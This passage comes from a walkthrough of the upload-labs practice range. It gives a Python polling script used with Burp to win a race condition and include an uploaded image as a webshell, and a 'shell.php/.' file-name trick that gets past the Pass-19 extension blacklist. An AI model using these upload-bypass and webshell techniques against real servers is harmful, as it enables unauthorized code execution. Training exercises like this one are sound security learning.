. The configuration is no different from the previous level.
Modify the script again. It cannot be accessed directly here. We need to use the file we wrote before to include the file for access and reconstruct the script.
import requests
url = "http://127.0.0.1/upload-labs/include.php?file=/Pass-18/upload.png"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
After the script is configured, you can use Burp to attack and run the script at the same time to successfully createLeaf.php
But because include.php
the file is at the upper level, the execution is executed in the upper level directory, that is, Leaf.php
it is created in upload-labs
the directory.
accessgetshell Leaf.php
_
Pass-19
/.Bypass
hint:
The file name of this pass is obtained through $_POST.
The source code is as follows:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上传失败!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
We found that this level allows us to rename uploaded files, and the rename parameter $ file_name
is controllable. There is a trick here that move_uploaded_file
will ignore the end of the file /.
, so we named it XXX.php/.
so that the suffix is not in the blacklist and the bypass can be achieved.
First, we upload the image horse first, and then use burp to capture the packet
Then rename the file toshell.php/.
Access after uploading, getshell is successful
That's it for upload-labs. There are not many loopholes in file uploading currently. We will work on other aspects next. Let's encourage each other.
Article reference:
Upload-labs 1-21 shooting range clearance strategy (the most comprehensive and complete on the entire network)